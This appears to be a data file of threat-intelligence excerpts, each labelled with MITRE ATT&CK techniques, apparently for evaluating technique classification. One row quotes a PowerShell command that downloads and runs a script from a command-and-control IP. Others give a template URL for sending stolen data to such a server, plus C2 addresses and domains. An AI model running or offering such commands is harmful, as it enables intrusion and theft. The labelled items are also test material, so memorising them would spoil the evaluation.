The Check Point IPS blade provides protections against these threats:  Command Injection Over HTTP NoneCMS. ThinkPHP Remote Code Execution (CVE-2018-20062). Oracle WebLogic WLS Security Component Remote Code Execution (CVE-2017-10271). Oracle WebLogic WLS Server Component Arbitrary File Upload (CVE-2018-2894). Hadoop YARN ResourceManager Remote Command Execution. Apache ActiveMQ Fileserver Multi Methods Directory Traversal (CVE-2016-3088). JBoss Seam 2 Framework Remote Code Execution (CVE-2010-1871). JBoss Enterprise Application Platform Invoker Servlets Remote Code Execution (CVE-2012-0874). Red Hat JBoss AS Remote Code Execution.,"['T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information', 'T1059 - Command and Scripting Interpreter', 'T1064 - Scripting', 'T1203 - Exploitation for Client Execution', 'T1105 - Ingress Tool Transfer', 'T1569.002 - System Services: Service Execution']",eval_config
The hook main module contained encrypted strings and handled all the function calls and strings as the references in a large structure,"['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information']",eval_config
"The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files","['T1083 - File and Directory Discovery', 'T1074 - Data Staged', 'T1105 - Ingress Tool Transfer']",eval_config
"The macro carries out this first technique by running the following command:powershell.exe -w hidden -noni -nop -c ""iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')""The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",eval_config
"The main module of the Trojan can execute the following commands:  CommandDescription 0x1FSet the dwell time value for the standby mode 0x29Activate the controllers 0x2ASet new configuration data and update the list of command and control servers 0x32Set the dwell time value for the active mode 0x33Set up the plug-in 0x33Save the dwell time values into the database 0x34Activate the plug-ins 0x35Add configuration data 0x36Delete the specified configuration data  The Remote Shell Module can execute the following commands:  CommandDescription 0x66Exit 0x65Open a remote Shell 0x68Verify that the Shell in running 0x67Execute a command  The module, which interacts with the file system, can execute the following commands:  cmdDescription 0x65Find the file(s) 0x66Read the file(s) 0x67Save the file 0x68Remove the file(s) 0x69Run the file(s)  A report on the operations’ execution by this module is displayed as the HTML code","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1140 - Deobfuscate/Decode Files or Information', 'T1059 - Command and Scripting Interpreter']",eval_config
"These samples communicated with the following hosts via FTP for C2 communication:  ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com  Beginning in June 2018, we observed the OceanSalt malware family being dropped by CARROTBAT","['T1071 - Application Layer Protocol', 'T1048 - Exfiltration Over Alternative Protocol']",eval_config
"The subscription was configured to run a PowerShell command that read, decrypted, and executed the backdoor code directly from the new WMI property","['T1140 - Deobfuscate/Decode Files or Information', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",eval_config
The threat actor can now combine the information and brute force their way throughout the network (through NetBIOS) using a list of usernames and passwords as well as a range of IP addresses,"['T1016 - System Network Configuration Discovery', 'T1110 - Brute Force']",eval_config
"The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data:   String of hexadecimal values Character replacement 000000 z 00000 x 0000 y 000 g 00 w 01 t   The Trojan then writes 1500 bytes of the hexadecimal formatted data, one per line to a temporary file in the SpecialFolder.CommonApplicationData folder named as:<day><hour><second><millisecond>.tmp The Trojan will then read each line from this temporary file and send them to the C2 server by issuing requests to a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZ<hex(1500 characters of hexadecimal formatted file contents)> Once all of the lines of hexadecimal formatted data in the temporary file are sent to the C2 server, the Trojan will send a request to the C2 server to notify the data has been successfully transmitted via a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZFinish  Overlaps with Previous OilRig Group Attacks Since May 2016, we have continued to monitor and uncover various attacks and tools associated with the OilRig group","['T1573 - Encrypted Channel', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1074 - Data Staged', 'T1041 - Exfiltration Over C2 Channel', 'T1048 - Exfiltration Over Alternative Protocol', 'T1486 - Data Encrypted for Impact']",eval_config
"This IP has hosted other domains used by APT3 in past campaigns:  DOMAIN  FIRST SEEN  LAST SEEN  IP ADDRESS  join.playboysplus[.]com  2014-11-21  2014-11-21  104.151.248.173  walterclean[.]com  2014-11-18  2014-11-20  104.151.248.173  www.walterclean[.]com  2014-11-18  2014-11-20  104.151.248.173   As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.]com served as a Plugx/Kaba command and control server","['T1016 - System Network Configuration Discovery', 'T1068 - Exploitation for Privilege Escalation']",eval_config
"We include a list of observed hardcoded ip C2 addresses here, along with the address owner and geophysical location of the host:    C2 IP address Owner Country   184.22.205.194 hostnoc.net US   5.79.80.166 Leaseweb NL   46.165.222.28 Leaseweb NL   95.211.122.36 Leaseweb NL   46.165.222.101 Leaseweb NL   46.165.222.6 Leaseweb NL   89.149.223.205 Leaseweb NL   85.17.94.134 Leaseweb NL   46.4.28.218 Hetzner DE   78.46.40.239 Hetzner DE   95.143.193.182 Serverconnect SE   188.227.176.74 Redstation GB   93.170.127.100 Nadym RU   37.220.34.56 Yisp NL   194.28.172.58 Besthosting.ua UA   124.217.253.10 PIRADIUS MY   84.19.161.123 Keyweb DE   109.236.88.12 worldstream.nl NL   212.124.110.62 digitalone.com US   5.61.38.31 3nt.com DE   5.255.87.39 serverius.com NL    It’s interesting that one of these servers is a Tor exit node","['T1016 - System Network Configuration Discovery', 'T1008 - Fallback Channels']",eval_config
"When HawkEye is executed, in line 34, byte[] byte_ = gclass.method_0()[""0"", GClass30.GEnum3.RCDATA].Byte_0;it reads the encrypted configuration from the RCDATA resource and in line 33,byte[] byte_2 = GClass29.smethod_12(byte_, GClass12.string_0);and then decrypts this data with the Rijndael algorithm you can see below in the RijndaelManaged function to initialize the HawkEye configuration settings.The decrypted configuration shows us the account used for exfiltration:The main loop of HawkEye has the following functions:This shows the rich feature set of HawkEye","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1140 - Deobfuscate/Decode Files or Information']",eval_config